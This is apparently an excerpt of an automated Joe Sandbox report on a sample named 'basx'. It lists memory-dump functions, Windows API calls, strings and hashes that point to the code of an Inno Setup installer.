                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
                                                                                          • String ID:
                                                                                          • API String ID: 375863564-0
                                                                                          • Opcode ID: c69605c35faac69eeef83e1ef2bcb629ef32bf90482d96ab6e01708da643fe70
                                                                                          • Instruction ID: c082a38e55a2621cff38c0036c5e412d4739722926df34ebe37a7eff5f7859fc
                                                                                          • Opcode Fuzzy Hash: c69605c35faac69eeef83e1ef2bcb629ef32bf90482d96ab6e01708da643fe70
                                                                                          • Instruction Fuzzy Hash: 70515A712086459FDB50EF69C8C4B9B77E8AF48314F15466AFD488B286C738EC81CB99
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
                                                                                          • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
                                                                                          • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
                                                                                          • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
                                                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
                                                                                          • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
                                                                                          • GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
                                                                                          • GetFileType.KERNEL32(?,000000F5), ref: 00404C11
                                                                                          • CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
                                                                                          • GetLastError.KERNEL32(000000F5), ref: 00404C46
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
                                                                                          • String ID:
                                                                                          • API String ID: 1694776339-0
                                                                                          • Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
                                                                                          • Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
                                                                                          • Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
                                                                                          • Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D
                                                                                          APIs
                                                                                          • GetSystemMenu.USER32(00000000,00000000), ref: 00422233
                                                                                          • DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422251
                                                                                          • DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042225E
                                                                                          • DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042226B
                                                                                          • DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422278
                                                                                          • DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 00422285
                                                                                          • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422292
                                                                                          • DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042229F
                                                                                          • EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004222BD
                                                                                          • EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004222D9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu$Delete$EnableItem$System
                                                                                          • String ID:
                                                                                          • API String ID: 3985193851-0
                                                                                          • Opcode ID: 794ac4a4d1563d503d4e128f610caca5ba976f2c29ed192f4e654ec8c2abe850
                                                                                          • Instruction ID: 662ae76830c3dbb110fd6952920e185112f137d20e740dc0dcce1beff7d7cd05
                                                                                          • Opcode Fuzzy Hash: 794ac4a4d1563d503d4e128f610caca5ba976f2c29ed192f4e654ec8c2abe850
                                                                                          • Instruction Fuzzy Hash: AF2144703407047AE720E724CD8BF9BBBD89B04708F5451A5BA487F6D3C6F9AB804698
                                                                                          APIs
                                                                                          • FreeLibrary.KERNEL32(10000000), ref: 00481A11
                                                                                          • FreeLibrary.KERNEL32(00000000), ref: 00481A25
                                                                                          • SendNotifyMessageA.USER32(0002041A,00000496,00002710,00000000), ref: 00481A97
                                                                                          Strings
                                                                                          • Not restarting Windows because Setup is being run from the debugger., xrefs: 00481A46
                                                                                          • Restarting Windows., xrefs: 00481A72
                                                                                          • GetCustomSetupExitCode, xrefs: 004818B1
                                                                                          • DeinitializeSetup, xrefs: 0048190D
                                                                                          • Deinitializing Setup., xrefs: 00481872
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeLibrary$MessageNotifySend
                                                                                          • String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
                                                                                          • API String ID: 3817813901-1884538726
                                                                                          • Opcode ID: b2d1279a618dd00e76101f6ddb87be929459601488252b11527f6c6d16611b1a
                                                                                          • Instruction ID: b122ee3e0244d1cffd13458a0655c780be2d4a3cdc4850abd58d30bc7702deed
                                                                                          • Opcode Fuzzy Hash: b2d1279a618dd00e76101f6ddb87be929459601488252b11527f6c6d16611b1a
                                                                                          • Instruction Fuzzy Hash: C651BF347042409FD715EB69E9A5B6E7BE8EB19314F10887BE800C72B2DB389C46CB5D
                                                                                          APIs
                                                                                          • SHGetMalloc.SHELL32(?), ref: 004616C7
                                                                                          • GetActiveWindow.USER32 ref: 0046172B
                                                                                          • CoInitialize.OLE32(00000000), ref: 0046173F
                                                                                          • SHBrowseForFolder.SHELL32(?), ref: 00461756
                                                                                          • CoUninitialize.OLE32(00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 0046176B
                                                                                          • SetActiveWindow.USER32(?,00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 00461781
                                                                                          • SetActiveWindow.USER32(?,?,00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 0046178A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
                                                                                          • String ID: A
                                                                                          • API String ID: 2684663990-3554254475
                                                                                          • Opcode ID: cb3d39f68a826354347aa7a8a61ff080deb010c50648a66159b3978de9eda5bc
                                                                                          • Instruction ID: 0f37cca2ee7d5c89cd5c8fe3b5c5f67eac08b275376d6c087401a1ac056189be
                                                                                          • Opcode Fuzzy Hash: cb3d39f68a826354347aa7a8a61ff080deb010c50648a66159b3978de9eda5bc
                                                                                          • Instruction Fuzzy Hash: C3312F70E00348AFDB10EFA6D885A9EBBF8EB09304F55847AF404E7251E7785A048F59
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00000000,00472AB9,?,?,?,00000008,00000000,00000000,00000000,?,00472D15,?,?,00000000,00472F84), ref: 00472A1C
                                                                                            • Part of subcall function 0042CD94: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CE0A
                                                                                            • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,004986F1,00000000,00498746,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                          • SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00472AB9,?,?,?,00000008,00000000,00000000,00000000,?,00472D15), ref: 00472A93
                                                                                          • RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00472AB9,?,?,?,00000008,00000000,00000000,00000000), ref: 00472A99
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
                                                                                          • String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
                                                                                          • API String ID: 884541143-1710247218
                                                                                          • Opcode ID: c45dacd24f7b5bc8c90ad3d0814151273abff7c22a7deb77a2667df06dffab17
                                                                                          • Instruction ID: 1765d5ebfc4e6887f49e3816ac39c9d5a3c16910e93b0aec031ce55b1572895b
                                                                                          • Opcode Fuzzy Hash: c45dacd24f7b5bc8c90ad3d0814151273abff7c22a7deb77a2667df06dffab17
                                                                                          • Instruction Fuzzy Hash: 6711B2707005147BD721EAAA8D82B9F73ACDB49714F61C17BB404B72C2DBBCAE01861C
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045D2BD
                                                                                          • GetProcAddress.KERNEL32(00000000,inflate), ref: 0045D2CD
                                                                                          • GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045D2DD
                                                                                          • GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045D2ED
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc
                                                                                          • String ID: inflate$inflateEnd$inflateInit_$inflateReset
                                                                                          • API String ID: 190572456-3516654456
                                                                                          • Opcode ID: 5039b32c95ab4f878aa340bc95ef1656196d0563f790867e571847c0b893819f
                                                                                          • Instruction ID: d913f85fec6517a53d2ec7ba369195fd603025f4bffd93910817278a70f0814a
                                                                                          • Opcode Fuzzy Hash: 5039b32c95ab4f878aa340bc95ef1656196d0563f790867e571847c0b893819f
                                                                                          • Instruction Fuzzy Hash: C20112B0D00701DBE724DFF6ACC672636A5ABA8306F14C03B9D09962A2D77D0459DF2E
                                                                                          APIs
                                                                                          • SetBkColor.GDI32(?,00000000), ref: 0041A9B9
                                                                                          • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041A9F3
                                                                                          • SetBkColor.GDI32(?,?), ref: 0041AA08
                                                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA52
                                                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041AA5D
                                                                                          • SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA6D
                                                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AAAC
                                                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041AAB6
                                                                                          • SetBkColor.GDI32(00000000,?), ref: 0041AAC3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Color$StretchText
                                                                                          • String ID:
                                                                                          • API String ID: 2984075790-0
                                                                                          • Opcode ID: c2c61a06e11fc6ac6c72d0136d8e20986a2ab5507b690e8d84a304c9a27ba9fd
                                                                                          • Instruction ID: 4467ea82dd13d464879b0bd0dd0607b47ee3045dce17e21d2c6451b7f26a8ea4
                                                                                          • Opcode Fuzzy Hash: c2c61a06e11fc6ac6c72d0136d8e20986a2ab5507b690e8d84a304c9a27ba9fd
                                                                                          • Instruction Fuzzy Hash: 8761E5B5A00505AFCB40EFADD985E9AB7F8EF08314B10816AF908DB262C775ED40CF58
                                                                                          APIs
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                          • CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00458278,?, /s ",?,regsvr32.exe",?,00458278), ref: 004581EA
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseDirectoryHandleSystem
                                                                                          • String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
                                                                                          • API String ID: 2051275411-1862435767
                                                                                          • Opcode ID: 4002d2de1ab03b38d977d670fcb0d45de6735b09ab9cf6adf03ef289ce7e4165
                                                                                          • Instruction ID: cda81b302c56d3c3b7af3d8ffa4af26d40175ae7a7c1cff7e24eee752c39b11a
                                                                                          • Opcode Fuzzy Hash: 4002d2de1ab03b38d977d670fcb0d45de6735b09ab9cf6adf03ef289ce7e4165
                                                                                          • Instruction Fuzzy Hash: 21411670A047486BDB10EFD6D842B8DBBF9AF45305F50407FB904BB292DF789A098B19
                                                                                          APIs
                                                                                          • OffsetRect.USER32(?,00000001,00000001), ref: 0044D1A9
                                                                                          • GetSysColor.USER32(00000014), ref: 0044D1B0
                                                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D1C8
                                                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1F1
                                                                                          • OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D1FB
                                                                                          • GetSysColor.USER32(00000010), ref: 0044D202
                                                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D21A
                                                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D243
                                                                                          • DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D26E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Text$Color$Draw$OffsetRect
                                                                                          • String ID:
                                                                                          • API String ID: 1005981011-0
                                                                                          • Opcode ID: 32856f07fc45aa5b94f1f38070a47e962b22e9d58654105098b1be26c78061dc
                                                                                          • Instruction ID: 8406a00effd73db105afccad7da3796984cf264811f0ddac3e5cace4e0ac1d2b
                                                                                          • Opcode Fuzzy Hash: 32856f07fc45aa5b94f1f38070a47e962b22e9d58654105098b1be26c78061dc
                                                                                          • Instruction Fuzzy Hash: A021BDB42015047FC710FB2ACD8AE8B6BDCDF19319B05457AB958EB292C67CDD404668
                                                                                          APIs
                                                                                          • GetFocus.USER32 ref: 0041B745
                                                                                          • GetDC.USER32(?), ref: 0041B751
                                                                                          • SelectPalette.GDI32(00000000,?,00000000), ref: 0041B786
                                                                                          • RealizePalette.GDI32(00000000), ref: 0041B792
                                                                                          • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041B7C0
                                                                                          • SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041B7F4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Palette$Select$BitmapCreateFocusRealize
                                                                                          • String ID: %H
                                                                                          • API String ID: 3275473261-1959103961
                                                                                          • Opcode ID: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
                                                                                          • Instruction ID: 38bdddf8d72f5571b31e8017bfcff87152bbfcb95d4f6cd7f9962c0a723fddb9
                                                                                          • Opcode Fuzzy Hash: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
                                                                                          • Instruction Fuzzy Hash: 8A512F70A002099FDF11DFA9C881AEEBBF9FF49704F104066F504A7791D7799981CBA9
                                                                                          APIs
                                                                                          • GetFocus.USER32 ref: 0041BA17
                                                                                          • GetDC.USER32(?), ref: 0041BA23
                                                                                          • SelectPalette.GDI32(00000000,?,00000000), ref: 0041BA5D
                                                                                          • RealizePalette.GDI32(00000000), ref: 0041BA69
                                                                                          • CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BA8D
                                                                                          • SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041BAC1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Palette$Select$BitmapCreateFocusRealize
                                                                                          • String ID: %H
                                                                                          • API String ID: 3275473261-1959103961
                                                                                          • Opcode ID: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
                                                                                          • Instruction ID: 3fcaffe560058c7771eaec6053d79e0e1924f360d52694d27862de55114c0f48
                                                                                          • Opcode Fuzzy Hash: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
                                                                                          • Instruction Fuzzy Hash: 9D512A74A002189FDB11DFA9C891AAEBBF9FF49700F154066F904EB751D738AD40CBA4
                                                                                          APIs
                                                                                            • Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933
                                                                                            • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,004986F1,00000000,00498746,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                          • GetWindowThreadProcessId.USER32(00000000,?), ref: 00496585
                                                                                          • OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 00496599
                                                                                          • SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 004965B3
                                                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 004965BF
                                                                                          • CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 004965C5
                                                                                          • Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 004965D8
                                                                                          Strings
                                                                                          • Deleting Uninstall data files., xrefs: 004964FB
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
                                                                                          • String ID: Deleting Uninstall data files.
                                                                                          • API String ID: 1570157960-2568741658
                                                                                          • Opcode ID: 8e8cb50e53c2c3b2038bacabf8c777ac21aad5dfe2dc8a8db11d37eec289bdf4
                                                                                          • Instruction ID: caddedc05ae4add9971b90b84c259ce0cd5246952d50e779d54ebc968ffbf915
                                                                                          • Opcode Fuzzy Hash: 8e8cb50e53c2c3b2038bacabf8c777ac21aad5dfe2dc8a8db11d37eec289bdf4
                                                                                          • Instruction Fuzzy Hash: 73216170204250BFEB10EB6ABC82B2637A8DB54728F53453BB501961D6DA7CAC448A6D
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,004702F9,?,?,?,?,00000000), ref: 00470263
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,004702F9), ref: 0047027A
                                                                                          • AddFontResourceA.GDI32(00000000), ref: 00470297
                                                                                          • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 004702AB
                                                                                          Strings
                                                                                          • AddFontResource, xrefs: 004702B5
                                                                                          • Failed to set value in Fonts registry key., xrefs: 0047026C
                                                                                          • Failed to open Fonts registry key., xrefs: 00470281
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
